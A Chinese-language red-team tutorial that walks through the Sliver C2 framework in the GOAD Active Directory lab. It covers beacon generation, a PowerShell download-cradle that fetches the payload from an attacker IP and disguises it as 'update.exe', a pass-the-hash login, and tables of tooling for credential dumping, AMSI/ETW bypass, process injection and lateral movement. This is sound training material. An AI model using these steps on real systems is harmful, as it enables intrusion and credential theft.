在前面的章節中,我們學習了 Active Directory 的各種攻擊技術,包括 Kerberoasting、AS-REP Roasting、權限提升等。今天我們要將這些技術整合起來,使用現代化的 C2 (Command and Control) 框架 - Sliver 來進行完整的紅隊演練。
與傳統的 Metasploit 或 Cobalt Strike 相比,Sliver 是一個開源、使用 Golang 編寫的 C2 框架,具有跨平台、易於擴展等特點。今天我們將在 GOAD 環境中實際操作 Sliver,體驗從初始存取到域內橫向移動的完整攻擊鏈。
C2 伺服器是一種用於在遠端電腦或網路上執行指令或二進位檔案的軟體。C2 的主要功能是提供一個集中管理系統,讓操作者(紅隊成員)可以管理對網路中其他機器的存取權限。
攻擊生命週期 (Cyber Kill Chain):
根據 Lockheed Martin 在 2011 年提出的框架,網路攻擊生命週期分為七個階段:
階段 | 說明 |
---|---|
偵察 (Reconnaissance) | 收集目標資訊,可以是主動或被動偵察 |
武器化 (Weaponization) | 開發可建立立足點的有效載荷(payload) |
投放 (Delivery) | 找到將有效載荷傳輸到目標的方法 |
利用 (Exploitation) | 在目標上執行有效載荷 |
安裝 (Installation) | 在目標上建立初始控制 |
C2 通訊 | 從目標建立到 C2 伺服器的連線 |
達成目標 (Actions on Objectives) | 執行預期目標,如資料竊取或外洩 |
Sliver 是由 BishopFox 開發的開源 C2 框架,其客戶端、伺服器和植入物(beacons/implants)都使用 Golang 編寫,使其易於跨平台編譯。
# 使用官方一鍵安裝腳本
curl https://sliver.sh/install | sudo bash
# 或者從 GitHub 下載 release
# https://github.com/BishopFox/sliver/releases
# 啟動 Sliver
sliver
# 如果要在背景執行
sudo systemctl enable sliver
sudo systemctl start sliver
help 可以查看有哪些指令
sliver-client
你應該會看到 Sliver 的控制台:
sliver >
假設我們已經透過某種方式(釣魚、漏洞利用等)獲得了 GOAD 環境中一台 Windows 機器的初始存取權限。我們的目標是:
首先,我們需要生成一個植入物。在 GOAD 環境中,我們假設攻擊機的 IP 是 192.168.139.138
。
sliver > generate beacon --http 192.168.139.138:8080 --os windows --arch amd64 --format exe --save /tmp/payload.exe
[*] Generating new windows/amd64 beacon implant binary (1m0s)
[*] Symbol obfuscation is enabled
[*] Build completed in 15s
[*] Implant saved to /tmp/payload.exe
參數說明:
--http
: 使用 HTTP(S) 協定,指定監聽的 IP 和埠--os windows
: 目標作業系統--arch amd64
: 目標架構--format exe
: 輸出格式為 EXE 執行檔--save
: 儲存路徑生成植入物後,需要啟動對應的監聽器:
sliver > http --lhost 192.168.139.138 --lport 8080
[*] Starting HTTP :8080 listener ...
[*] Successfully started job #1
驗證監聽器狀態:
sliver > jobs
ID Name Protocol Port
==== ====== ========== ======
1 http tcp 8080
將生成的 payload.exe
傳輸到目標機器。
在實際環境中,可能透過:
evil-winrm -i 192.168.139.11 \
-u catelyn.stark \
-H 'cba36eccfd9d949c73bc73715364aff5'
cd /tmp
ls -al /tmp/payload.exe
python3 -m http.server
在 GOAD 環境中,假設我們已經有一個初始的 shell 或 RDP 存取:
# 在目標 Windows 機器上
# 方法1: 使用 PowerShell 下載
(New-Object Net.WebClient).DownloadFile('http://192.168.139.138:8000/payload.exe', 'C:\Windows\Temp\update.exe')
# 方法2: 如果有 SMB 存取
copy \\192.168.139.138\share\payload.exe C:\Windows\Temp\update.exe
執行植入物:
C:\Windows\Temp\update.exe
在 Sliver 控制台,你應該會看到新的 beacon 回連:
[*] Beacon 914c20d4 HEALTHY_MARACA - 192.168.139.11:54534 (winterfell) - windows/amd64 - Thu, 09 Oct 2025 11:01:57 EDT
sliver > beacons
ID Name Transport Hostname Username Operating System Last Check-In Next Check-In
========== ================ =========== ============ ===================== ================== =============== ===============
914c20d4 HEALTHY_MARACA http(s) winterfell NORTH\catelyn.stark windows/amd64 36s 27s
使用 use
指令選擇要操作的 beacon:
sliver > use 914c20d4
[*] Active beacon HEALTHY_MARACA (914c20d4-0e48-4e09-8680-0f2e6ca8a52a)
sliver (HEALTHY_MARACA) > info
Beacon ID: 914c20d4-0e48-4e09-8680-0f2e6ca8a52a
Name: HEALTHY_MARACA
Hostname: winterfell
UUID: ff354d56-381b-4297-8723-7f6e01391f35
Username: NORTH\catelyn.stark
UID: S-1-5-21-3845383931-1370366697-225289965-1112
GID: S-1-5-21-3845383931-1370366697-225289965-513
PID: 4204
OS: windows
Version: Server 2016 build 17763 x86_64
Locale: en-US
Arch: amd64
Active C2: https://192.168.139.138:8080
Remote Address: 192.168.139.11:54534
Proxy URL:
Interval: 1m0s
Jitter: 30s
First Contact: Thu Oct 9 11:01:57 EDT 2025 (1m29s ago)
Last Checkin: Thu Oct 9 11:03:09 EDT 2025 (17s ago)
Next Checkin: Thu Oct 9 11:04:36 EDT 2025 (in 1m10s)
重要: Beacon 模式是非即時的,指令會在下次回連時執行。如果需要即時互動可以升級為 session:
sliver (HEALTHY_MARACA) > interactive
[*] Using beacon's active C2 endpoint: https://192.168.139.138:8080
[*] Tasked beacon HEALTHY_MARACA (91124e22)
[*] Session 478923fe HEALTHY_MARACA - 192.168.139.11:54594 (winterfell) - windows/amd64 - Thu, 09 Oct 2025 11:05:38 EDT
sliver (HEALTHY_MARACA) > use 478923fe
[*] Active session HEALTHY_MARACA (478923fe-54ab-47de-ac78-070669325b24)
sliver (HEALTHY_MARACA) > shell
? This action is bad OPSEC, are you an adult? Yes
[*] Wait approximately 10 seconds after exit, and press <enter> to continue
[*] Opening shell tunnel (EOF to exit) ...
[*] Started remote shell with pid 1360
PS C:\Windows\Temp> whoami /all
sliver > sessions
ID Transport Remote Address Hostname Username Operating System Health
========== =========== ====================== ============ ===================== ================== =========
478923fe http(s) 192.168.139.11:54594 winterfell NORTH\catelyn.stark windows/amd64 [ALIVE]
sliver (HEALTHY_MARACA) > whoami
Logon ID: NORTH\catelyn.stark
[*] Current Token ID: NORTH\catelyn.stark
sliver (HEALTHY_MARACA) > getprivs
Privilege Information for update.exe (PID: 4204)
------------------------------------------------
Process Integrity Level: High
Name Description Attributes
==== =========== ==========
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled, Enabled by Default
SeMachineAccountPrivilege Add workstations to domain Enabled, Enabled by Default
SeSecurityPrivilege Manage auditing and security log Enabled, Enabled by Default
SeTakeOwnershipPrivilege Take ownership of files or other objects Enabled, Enabled by Default
SeLoadDriverPrivilege Load and unload device drivers Enabled, Enabled by Default
SeSystemProfilePrivilege Profile system performance Enabled, Enabled by Default
SeSystemtimePrivilege Change the system time Enabled, Enabled by Default
SeProfileSingleProcessPrivilege Profile single process Enabled, Enabled by Default
SeIncreaseBasePriorityPrivilege Increase scheduling priority Enabled, Enabled by Default
SeCreatePagefilePrivilege Create a pagefile Enabled, Enabled by Default
SeBackupPrivilege Back up files and directories Enabled, Enabled by Default
SeRestorePrivilege Restore files and directories Enabled, Enabled by Default
SeShutdownPrivilege Shut down the system Enabled, Enabled by Default
SeDebugPrivilege Debug programs Enabled, Enabled by Default
SeSystemEnvironmentPrivilege Modify firmware environment values Enabled, Enabled by Default
SeChangeNotifyPrivilege Bypass traverse checking Enabled, Enabled by Default
SeRemoteShutdownPrivilege Force shutdown from a remote system Enabled, Enabled by Default
SeUndockPrivilege Remove computer from docking station Enabled, Enabled by Default
SeEnableDelegationPrivilege Enable computer and user accounts to be trusted for delegation Enabled, Enabled by Default
SeManageVolumePrivilege Perform volume maintenance tasks Enabled, Enabled by Default
SeImpersonatePrivilege Impersonate a client after authentication Enabled, Enabled by Default
SeCreateGlobalPrivilege Create global objects Enabled, Enabled by Default
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled, Enabled by Default
SeTimeZonePrivilege Change the time zone Enabled, Enabled by Default
SeCreateSymbolicLinkPrivilege Create symbolic links Enabled, Enabled by Default
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled, Enabled by Default
sliver (HEALTHY_MARACA) > ifconfig
+-------------------------------------------+
| Ethernet1 |
+-------------------------------------------+
| # | IP Addresses | MAC Address |
+---+-------------------+-------------------+
| 3 | 192.168.139.11/24 | 00:0c:29:39:1f:3f |
+-------------------------------------------+
+-------------------------------------------+
| Ethernet0 |
+-------------------------------------------+
| # | IP Addresses | MAC Address |
+---+-------------------+-------------------+
| 6 | 192.168.58.190/24 | 00:0c:29:39:1f:35 |
+-------------------------------------------+
1 adapters not shown.
sliver (HEALTHY_MARACA) > info
Session ID: 478923fe-54ab-47de-ac78-070669325b24
Name: HEALTHY_MARACA
Hostname: winterfell
UUID: ff354d56-381b-4297-8723-7f6e01391f35
Username: NORTH\catelyn.stark
UID: S-1-5-21-3845383931-1370366697-225289965-1112
GID: S-1-5-21-3845383931-1370366697-225289965-513
PID: 4204
OS: windows
Version: Server 2016 build 17763 x86_64
Locale: en-US
Arch: amd64
Active C2: https://192.168.139.138:8080
Remote Address: 192.168.139.11:54594
Proxy URL:
Reconnect Interval: 1m0s
First Contact: Thu Oct 9 11:05:38 EDT 2025 (13m46s ago)
Last Checkin: Thu Oct 9 11:19:23 EDT 2025 (1s ago)
sliver > update
[*] Client v1.5.43 - e116a5ec3d26e8582348a29cfd251f915ce4a405 - linux/amd64
Compiled at 2025-02-19 14:57:36 -0500 EST
Compiled with go version go1.20.7 linux/amd64
[*] Server v1.5.43 - e116a5ec3d26e8582348a29cfd251f915ce4a405 - linux/amd64
Compiled at 2025-02-19 14:57:35 -0500 EST
Checking for updates ... done!
[*] No new releases.
指令 | 說明 | 使用時機 |
---|---|---|
help |
顯示指令說明 | 忘記指令語法時 |
clear |
清除螢幕 | 畫面太亂需要清理時 |
exit |
離開 shell | 結束操作時 |
info |
顯示目前連線的詳細資訊 | 確認目標系統資訊、使用者身份 |
ping |
測試與 implant 的連線 | 確認連線是否正常 |
background |
將目前連線放到背景 | 需要切換到其他連線時 |
use |
切換活躍的連線 | 管理多個受害主機時 |
指令 | 說明 | 使用時機 |
---|---|---|
sessions |
列出所有互動式連線 | 查看目前有哪些即時連線 |
beacons |
管理 beacon 連線 | 查看定時回連的主機 |
interactive |
將 beacon 轉為互動式連線 | 需要即時操作 beacon 時 |
tasks |
查看 beacon 的任務狀態 | 確認指令是否執行完成 |
close |
關閉互動式連線但不終止處理程序 | 暫時離開但保持植入程式運作 |
kill |
終止連線並結束遠端處理程序 | 完全清除植入程式 |
rename |
重新命名目前連線 | 方便識別不同目標 |
指令 | 說明 | 使用時機 |
---|---|---|
ls |
列出目錄內容 | 瀏覽檔案系統 |
cd |
切換目錄 | 移動到其他資料夾 |
pwd |
顯示目前工作目錄 | 確認目前位置 |
cat |
顯示檔案內容 | 快速查看文字檔案 |
download |
下載檔案到本機 | 取得敏感資料、文件 |
upload |
上傳檔案到目標主機 | 傳送工具、惡意程式 |
mkdir |
建立目錄 | 需要建立新資料夾時 |
rm |
刪除檔案或目錄 | 清理痕跡、刪除檔案 |
mv |
移動或重新命名檔案 | 整理檔案、改名 |
chmod |
變更檔案權限(Linux) | 修改執行權限 |
chown |
變更檔案擁有者(Linux) | 修改檔案所有權 |
chtimes |
修改檔案時間戳記 | 反鑑識,偽造檔案建立/修改時間 |
memfiles |
列出記憶體中的檔案 | 查看無檔案攻擊載入的內容 |
指令 | 說明 | 使用時機 |
---|---|---|
ps |
列出執行中的處理程序 | 尋找目標處理程序、檢查防毒軟體 |
execute |
在遠端系統執行程式 | 執行命令或工具 |
shell |
啟動互動式 shell | 需要執行多個命令時 |
getpid |
取得目前處理程序 PID | 確認植入程式的處理程序 ID |
getuid |
取得處理程序 UID(Linux) | 確認執行身份 |
getgid |
取得處理程序 GID(Linux) | 確認群組 ID |
terminate |
終止指定處理程序 | 關閉防毒軟體或其他處理程序 |
procdump |
傾印處理程序記憶體 | 擷取密碼、敏感資訊 |
migrate |
遷移到其他處理程序 | 躲避偵測、提升穩定性 |
指令 | 說明 | 使用時機 |
---|---|---|
ifconfig |
查看網路介面設定 | 了解目標網路環境 |
netstat |
顯示網路連線資訊 | 發現內網服務、連線狀態 |
portfwd |
設定內網端口轉發 | 存取內網服務(如 RDP、SMB) |
rportfwd |
反向端口轉發 | 讓內網主機連到攻擊者 |
socks5 |
建立 SOCKS5 代理 | 透過受害主機訪問內網 |
pivots |
列出目前的跳板點 | 查看跳板連線狀態 |
ssh |
在遠端主機執行 SSH 命令 | 橫向移動到其他 Linux 主機 |
指令 | 說明 | 使用時機 |
---|---|---|
whoami |
顯示目前使用者身份 | 確認執行權限 |
getprivs |
取得目前權限(Windows) | 查看可用的特權 |
getsystem |
提升為 SYSTEM 權限 | 取得最高權限 |
impersonate |
模擬已登入的使用者 | 竊取其他使用者的 token |
make-token |
建立新的登入會話 | 使用帳密建立新身份 |
rev2self |
還原為原始身份 | 放棄竊取的 token |
runas |
以指定使用者執行程式 | 使用特定帳號執行命令 |
psexec |
在遠端目標啟動服務 | 橫向移動到其他 Windows 主機 |
registry |
Windows 登錄檔操作 | 修改登錄檔、持久化 |
指令 | 說明 | 使用時機 |
---|---|---|
execute-assembly |
執行 .NET 組件 | 執行 C# 工具(如 Rubeus、Seatbelt) |
execute-shellcode |
在目前處理程序執行 shellcode | 執行惡意程式碼 |
sideload |
載入並執行 DLL | DLL 注入攻擊 |
spawndll |
在遠端處理程序執行反射式 DLL | 更隱蔽的 DLL 注入 |
msf |
在目前處理程序執行 MSF payload | 整合 Metasploit 功能 |
msf-inject |
注入 MSF payload 到處理程序 | 注入到其他處理程序 |
backdoor |
在遠端檔案植入 shellcode | 感染合法檔案 |
dllhijack |
植入 DLL 劫持 | DLL 劫持攻擊 |
shikata-ga-nai |
多型 shellcode 編碼器 | 躲避防毒偵測 |
screenshot |
截取螢幕畫面 | 監控使用者活動 |
cursed |
Chrome/Electron 後滲透工具 | 針對瀏覽器的攻擊 |
指令 | 說明 | 使用時機 |
---|---|---|
mtls |
啟動 mTLS 監聽器 | 建立加密的 C2 通道 |
http |
啟動 HTTP 監聽器 | 建立 HTTP C2 |
https |
啟動 HTTPS 監聽器 | 建立加密的 HTTPS C2 |
dns |
啟動 DNS 監聽器 | 透過 DNS 建立隱蔽通道 |
wg |
啟動 WireGuard 監聽器 | 使用 VPN 技術的 C2 |
jobs |
查看執行中的工作 | 管理監聽器和任務 |
stage-listener |
啟動分階段監聽器 | 多階段植入攻擊 |
websites |
託管靜態內容 | 配合 HTTP C2 提供檔案下載 |
指令 | 說明 | 使用時機 |
---|---|---|
generate |
產生植入程式 | 建立新的惡意程式 |
regenerate |
重新產生 implant | 更新現有配置 |
profiles |
列出現有配置檔 | 管理不同的植入程式模板 |
implants |
列出已產生的植入程式 | 查看建立過的所有 implant |
canaries |
列出金絲雀標記 | 追蹤植入程式是否被分析 |
builders |
列出外部建置器 | 管理交叉編譯環境 |
指令 | 說明 | 使用時機 |
---|---|---|
armory |
自動下載安裝擴充功能 | 安裝社群工具和別名 |
extensions |
管理擴充功能 | 載入自訂功能模組 |
aliases |
列出目前別名 | 查看可用的快捷指令 |
reaction |
管理事件自動反應 | 設定自動化回應規則 |
loot |
管理戰利品儲存 | 整理收集到的敏感資料 |
hosts |
管理主機資料庫 | 記錄目標主機資訊 |
指令 | 說明 | 使用時機 |
---|---|---|
version |
顯示版本資訊 | 確認 Sliver 版本 |
update |
檢查更新 | 更新 Sliver 到最新版 |
licenses |
顯示開源授權 | 查看法律資訊 |
settings |
管理客戶端設定 | 調整使用偏好 |
operators |
管理操作員 | 多人協作時管理權限 |
prelude-operator |
管理 Prelude Operator 連線 | 整合 Prelude 平台 |
monitor |
監控威脅情報平台 | 檢查 implant 是否被上傳分析 |
Sliver 的 Armory 提供了大量預編譯的工具:
sliver > armory
Aliases
=======
...
Extensions
==========
...
sliver > armory install seatbelt
sliver > armory install rubeus
套件名稱 | 版本 | 類型 | 功能說明 |
---|---|---|---|
bof-roast |
v0.0.2 | Extension | Active Directory Roasting 攻擊 BOF |
c2tc-kerberoast |
v0.0.9 | Extension | 列出所有啟用 SPN 的使用者/服務帳號或請求服務票證 (TGS-REP) |
c2tc-kerbhash |
v0.0.9 | Extension | Mimikatz/Rubeus 的 hash 命令移植版 |
c2tc-klist |
v0.0.9 | Extension | 顯示目前快取的 Kerberos 票證清單 |
delegationbof |
v0.0.2 | Extension | LDAP 檢查 RBCD、限制委派、協定轉換委派、無限制委派等 |
tgtdelegation |
v0.0.4 | Extension | 取得可用的 Kerberos TGT |
kerbrute |
v0.0.1 | Extension | Kerberos 預先驗證暴力破解工具 |
nanorobeus |
v0.0.2 | Extension | 管理 Kerberos 票證的 BOF |
rubeus |
v0.0.25 | Alias | 原始 Kerberos 互動與濫用的 C# 工具組 |
certify |
v0.0.4 | Alias | 列舉並濫用 AD 憑證服務錯誤配置 |
套件名稱 | 版本 | 類型 | 功能說明 |
---|---|---|---|
c2tc-domaininfo |
v0.0.9 | Extension | 使用 AD 網域服務列舉網域資訊 |
c2tc-addmachineaccount |
v0.0.9 | Extension | 新增機器帳號 [電腦名稱] [密碼 <選填>] |
c2tc-lapsdump |
v0.0.9 | Extension | 從 AD 中指定的電腦傾印 LAPS 密碼 |
c2tc-smbinfo |
v0.0.9 | Extension | 使用 NetWkstaGetInfo API 收集遠端系統版本資訊 |
c2tc-spray-ad |
v0.0.9 | Extension | 對 Active Directory 執行 Kerberos 或 LDAP 密碼噴灑攻擊 |
ldapsigncheck |
v0.0.1 | Extension | 檢查 LDAP 簽章 |
sharp-hound-3 |
v0.0.2 | Alias | C# 版 BloodHound 資料收集器(版本3) |
sharp-hound-4 |
v0.0.2 | Alias | C# 版 BloodHound 資料收集器(版本4) |
sharpview |
v0.0.1 | Alias | harmj0y's PowerView 的 C# 實作 |
sharplaps |
v0.0.1 | Alias | 從 LDAP 取得 LAPS 密碼 |
套件名稱 | 版本 | 類型 | 功能說明 |
---|---|---|---|
mimikatz |
v0.0.1 | Extension | Windows 安全性測試小工具(密碼竊取) |
nanodump |
v0.0.5 | Extension | 建立 LSASS 處理程序的 minidump 的 BOF |
credman |
v1.0.7 | Extension | 使用 CredsBackupCredentials API 傾印憑證 |
hashdump |
v1.0.0 | Extension | 傾印本機 SAM 密碼雜湊 |
handlekatz |
v0.0.1 | Extension | handlekatz 的 BOF 實作(僅支援 x64) |
chromiumkeydump |
v0.0.2 | Extension | 傾印 Chrome/Edge 主金鑰 |
go-cookie-monster |
v0.0.1 | Extension | 支援 AppBound 金鑰的 Chrome Cookie 竊取器 |
sharpchrome |
v0.0.4 | Alias | SharpChrome 專案的改編版本 |
sharpdpapi |
v0.0.4 | Alias | Mimikatz 專案的部分 DPAPI 功能移植 |
sharpsecdump |
v0.0.1 | Alias | impacket 的 secretsdump.py 功能的 C# 移植版 |
c2tc-wdtoggle |
v0.0.9 | Extension | 修補 lsass 以啟用 WDigest 憑證快取 |
套件名稱 | 版本 | 類型 | 功能說明 |
---|---|---|---|
inject-amsi-bypass |
v0.0.2 | Extension | 使用程式碼注入繞過遠端處理程序中的 AMSI |
inject-etw-bypass |
v0.0.3 | Extension | 透過系統呼叫注入 ETW 繞過到遠端處理程序 |
unhook-bof |
v0.0.2 | Extension | 從 Beacon 處理程序中移除 API hook |
patchit |
v0.0.1 | Extension | 為 x64 處理程序修補、檢查和還原 AMSI 和 ETW |
hollow |
v0.0.1 | Extension | EarlyBird 處理程序挖空技術 |
secinject |
v0.0.1 | Extension | Section Mapping 處理程序注入 |
syscalls_shinject |
v0.0.1 | Extension | 使用系統呼叫注入 shellcode 到遠端處理程序 |
threadless-inject |
v0.0.1 | Extension | 透過 hook 函數呼叫在遠端處理程序內執行 shellcode |
inject-createremotethread |
v0.1.2 | Extension | 使用 CreateRemoteThread 注入處理程序 |
inject-ntcreatethread |
v0.1.2 | Extension | 使用 NtCreateThread 注入處理程序 |
inject-* (其他14個) |
v0.1.2 | Extension | 各種不同的處理程序注入技術 |
套件名稱 | 版本 | 類型 | 功能說明 |
---|---|---|---|
sa-whoami |
v0.0.23 | Extension | 模擬 whoami /all |
sa-ipconfig |
v0.0.23 | Extension | 取得 IPv4 位址、主機名稱和 DNS 伺服器 |
sa-netstat |
v0.0.23 | Extension | TCP / UDP IPv4 netstat 列表 |
sa-tasklist |
v0.0.23 | Extension | 取得執行中處理程序清單(包含 PID、PPID 和命令列) |
sa-ps 系列(psc/psk/psm/psw/psx) |
v0.0.9 | Extension | 顯示處理程序詳細資訊(連線/核心/特定PID/視窗/全部) |
sa-sc-* (服務相關) |
v0.0.23 | Extension | Windows 服務列舉與查詢 |
sa-netshares |
v0.0.23 | Extension | 列出本機或遠端電腦的共享 |
sa-netgroup |
v0.0.23 | Extension | 從預設或指定網域列出群組 |
sa-netuser |
v0.0.23 | Extension | 取得特定使用者資訊 |
sa-netloggedon |
v0.0.23 | Extension | 回傳本機或遠端電腦上已登入的使用者 |
sa-reg-query |
v0.0.23 | Extension | 查詢 Windows 登錄檔 |
sa-schtasksenum |
v0.0.23 | Extension | 列舉本機或遠端機器上的所有排程工作 |
sa-dir |
v0.0.23 | Extension | 使用 BOF 列出目標目錄 |
sa-driversigs |
v0.0.23 | Extension | 列舉已安裝服務的映像檔路徑 |
sa-env |
v0.0.23 | Extension | 列出處理程序環境變數 |
seatbelt |
v0.0.6 | Alias | 執行多項安全導向的主機調查「安全檢查」 |
套件名稱 | 版本 | 類型 | 功能說明 |
---|---|---|---|
jump-psexec |
v0.0.2 | Extension | psexec 橫向移動模組 |
jump-wmiexec |
v0.0.2 | Extension | wmiexec 橫向移動模組 |
scshell |
v0.0.2 | Extension | 無檔案橫向移動 |
bof-servicemove |
v0.0.1 | Extension | 透過濫用 Windows Perception Simulation Service 達成 DLL 劫持的橫向移動技術 |
winrm |
v0.0.1 | Extension | 透過 WinRM 遠端執行命令 |
sharp-smbexec |
v0.0.3 | Alias | Invoke-SMBExec PowerShell 腳本的原生 C# 轉換 |
sharp-wmi |
v0.0.2 | Alias | 各種 WMI 功能的 C# 實作 |
sharprdp |
v0.0.1 | Alias | 用於已驗證命令執行的遠端桌面協定 .NET 主控台應用程式 |
sharpmapexec |
v0.0.1 | Alias | CrackMapExec 的 C# 版本 |
套件名稱 | 版本 | 類型 | 功能說明 |
---|---|---|---|
krbrelayup |
v0.0.2 | Alias | Windows 網域環境中通用的本機權限提升(當 LDAP 簽章未強制執行時) |
sharpup |
v0.0.2 | Alias | 各種 PowerUp 功能的 C# 移植 |
sharpersist |
v0.0.2 | Alias | Windows 持久化工具包 |
c2tc-petitpotam |
v0.0.9 | Extension | PetitPotam <擷取伺服器 IP> <目標伺服器 IP> |
remote-ghost_task |
v0.1.2 | Extension | 直接操作登錄檔以建立排程工作,不觸發常見的事件記錄 |
套件名稱 | 版本 | 類型 | 功能說明 |
---|---|---|---|
remote-adduser |
v0.1.2 | Extension | 新增使用者到機器 |
remote-addusertogroup |
v0.1.2 | Extension | 將指定使用者新增到網域群組 |
remote-setuserpass |
v0.1.2 | Extension | 設定指定使用者帳號的密碼 |
remote-enable-user |
v0.1.2 | Extension | 解鎖並啟用本機/遠端使用者帳號 |
remote-sc-* (服務管理) |
v0.1.2 | Extension | 遠端服務建立、刪除、啟動、停止、配置 |
remote-schtasks* (工作排程) |
v0.1.2 | Extension | 排程工作的建立、刪除、執行、停止 |
remote-reg-* (登錄檔) |
v0.1.2 | Extension | 登錄檔刪除、儲存、設定 |
remote-procdump |
v0.1.2 | Extension | 將指定處理程序傾印到指定輸出檔案 |
remote-adcs-request |
v0.1.2 | Extension | 從 AD 憑證伺服器請求憑證 |
套件名稱 | 版本 | 類型 | 功能說明 |
---|---|---|---|
chisel |
v0.0.1 | Extension | 快速的 TCP/UDP 通道,透過 HTTP 傳輸,使用 SSH 加密 |
portbender |
v0.0.1 | Extension | TCP 端口重新導向工具 |
coff-loader |
v1.0.15 | Extension | 在記憶體中載入並執行 Beacon Object Files (BOFs) |
inline-execute-assembly |
v0.0.1 | Extension | 處理程序內 .NET 組件執行 |
raw-keylogger |
v0.0.7 | Extension | 使用原始輸入介面記錄按鍵 |
sqlrecon |
v3.8.0 | Alias | 為滲透測試和後滲透設計的 MS SQL 工具包 |
sharpsccm |
v2.0.12 | Alias | 用於與 SCCM 互動的 C# 工具 |
mlokit |
v0.0.1 | Alias | MLOps 攻擊工具包 |
find-module |
v0.0.2 | Extension | 使用直接系統呼叫列舉特定模組的處理程序 |
find-proc-handle |
v0.0.2 | Extension | 使用直接系統呼叫列舉特定處理程序控制代碼的處理程序 |
組合名稱 | 包含套件 | 用途 |
---|---|---|
kerberos | bof-roast, delegationbof, c2tc-kerberoast, tgtdelegation, kerbrute, nanorobeus | Kerberos 攻擊全套 |
situational-awareness | 所有 sa-* 工具(共43個) | 系統偵察完整工具組 |
windows-credentials | nanodump, credman, chromiumkeydump, handlekatz, mimikatz, go-cookie-monster | 憑證竊取工具組 |
windows-inject | 所有 inject-* 和其他注入工具(共19個) | 處理程序注入技術集合 |
windows-bypass | inject-etw-bypass, inject-amsi-bypass, unhook-bof, patchit | 防護繞過工具 |
windows-pivot | scshell, bof-servicemove, winrm, jump-wmiexec, jump-psexec | 橫向移動工具 |
.net-recon | seatbelt, sharp-hound-3/4, sharpup, sharpview | .NET 偵察工具 |
.net-pivot | krbrelayup, rubeus, certify, sharpsecdump, 等 | .NET 滲透工具 |
.net-execute | sharp-smbexec, sharp-wmi, sharpmapexec, 等 | .NET 執行工具 |
c2-tool-collection | 所有 c2tc-* 工具(共18個) | C2 工具集合 |
cs-remote-ops-bofs | 所有 remote-* 工具(共29個) | 遠端操作 BOF 集合 |
# 安裝單一套件
armory install <套件名稱>
# 例如:安裝 mimikatz
armory install mimikatz
# 安裝整個組合
armory install <組合名稱>
# 例如:安裝所有 Kerberos 工具
armory install kerberos
sliver (HEALTHY_MARACA) > seatbelt WindowsFirewall
====== WindowsFirewall ======
Collecting Windows Firewall Non-standard Rules
Location : SOFTWARE\Policies\Microsoft\WindowsFirewall
Location : SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy
Domain Profile
Enabled : False
DisableNotifications : True
DefaultInboundAction : ALLOW
DefaultOutboundAction : ALLOW
Public Profile
Enabled : False
DisableNotifications : True
DefaultInboundAction : ALLOW
DefaultOutboundAction : ALLOW
Standard Profile
Enabled : False
DisableNotifications : True
DefaultInboundAction : ALLOW
DefaultOutboundAction : ALLOW
[*] Completed collection in 0.098 seconds
sliver (HEALTHY_MARACA) > seatbelt AutoRuns
[*] seatbelt output:
====== AutoRuns ======
HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run :
C:\Windows\system32\SecurityHealthSystray.exe
"C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" -n vmusr
[*] Completed collection in 0.014 seconds
指令 | 說明 | 使用時機/目標 |
---|---|---|
OSInfo | 系統基本資訊 (OS版本、架構、主機名、域名、目前使用者、權限等級) | 初始偵察 - 了解目標系統環境、確認權限等級 |
LocalUsers | 本地使用者清單 (啟用狀態、密碼最後設定時間、登入次數、RID、使用者類型) | 橫向移動準備 - 識別管理員帳戶、找出弱密碼候選目標 |
LocalGroups | 本地群組成員資訊 | 權限提升 - 查看哪些使用者屬於管理員群組 |
Processes | 運行中的非微軟進程 (路徑、命令列、公司名稱) | 威脅識別 - 發現防毒軟體、EDR、監控工具 |
Services | 非微軟服務列表 (服務名稱、狀態、啟動模式、權限) | 權限提升 - 尋找可利用的服務、檢查服務權限設定 |
ScheduledTasks | 排程任務 (非微軟任務、執行使用者、觸發器、執行內容) | 持久化/橫向移動 - 發現可劫持的任務、找出定期執行的腳本 |
NetworkShares | 網路共享資源 | 橫向移動 - 發現可訪問的共享資料夾、敏感資料 |
ARPTable | ARP表和網路介面資訊 (IP、MAC、介面) | 網路偵察 - 發現內網中的其他主機、網段劃分 |
DNSCache | DNS快取記錄 | 內網偵察 - 識別目標訪問過的內部主機、域名 |
WindowsFirewall | 防火牆設定和非標準規則 | 初始評估 - 了解防火牆狀態、出入站規則限制 |
AutoRuns | 開機自動執行項目 | 持久化/威脅分析 - 尋找植入點、發現其他惡意軟體 |
AntiVirus | 註冊的防毒軟體資訊 (透過WMI) | 初始偵察 - 識別防護產品、調整攻擊策略 |
Hotfixes | 已安裝的系統更新 | 漏洞利用 - 檢查是否缺少關鍵安全更新 |
LogonSessions | 登入會話資訊 | 橫向移動 - 發現已登入的使用者、潛在的憑證竊取目標 |
PowerShell | PowerShell版本和安全設定 | 腳本執行評估 - 檢查約束模式、腳本執行策略 |
EnvironmentVariables | 環境變數 | 資訊收集 - 找出特殊路徑、應用程式設定 |
MappedDrives | 使用者的網路磁碟對應 | 橫向移動 - 發現網路資源、共享檔案伺服器 |
InterestingProcesses | "有趣"的處理程序 (防護產品、管理工具) | 威脅識別 - 快速識別安全產品和管理工具 |
seatbelt OSInfo AntiVirus WindowsFirewall Hotfixes
目的: 了解系統環境、防護措施、補丁狀態
seatbelt LocalUsers LocalGroups Services ScheduledTasks AutoRuns
目的: 尋找可利用的服務、任務、弱權限設定
seatbelt NetworkShares MappedDrives ARPTable DNSCache LogonSessions
目的: 發現內網資源、其他主機、已登入使用者
seatbelt InterestingProcesses Processes WindowsFirewall PowerShell
目的: 識別威脅、了解防護機制、規劃繞過策略
sudo git clone https://github.com/Flangvik/SharpCollection.git /opt/SharpCollection
ls /opt/SharpCollection/NetFramework_4.7_Any/SharpView.exe
在 Sliver 中執行 PowerView 指令:
sliver (HEALTHY_MARACA) > execute-assembly /opt/SharpCollection/NetFramework_4.7_Any/SharpView.exe Get-Domain
[*] Output:
Forest : sevenkingdoms.local
DomainControllers : {winterfell.north.sevenkingdoms.local}
Children : {}
DomainMode : Unknown
DomainModeLevel : 7
Parent : sevenkingdoms.local
PdcRoleOwner : winterfell.north.sevenkingdoms.local
RidRoleOwner : winterfell.north.sevenkingdoms.local
InfrastructureRoleOwner : winterfell.north.sevenkingdoms.local
Name : north.sevenkingdoms.local
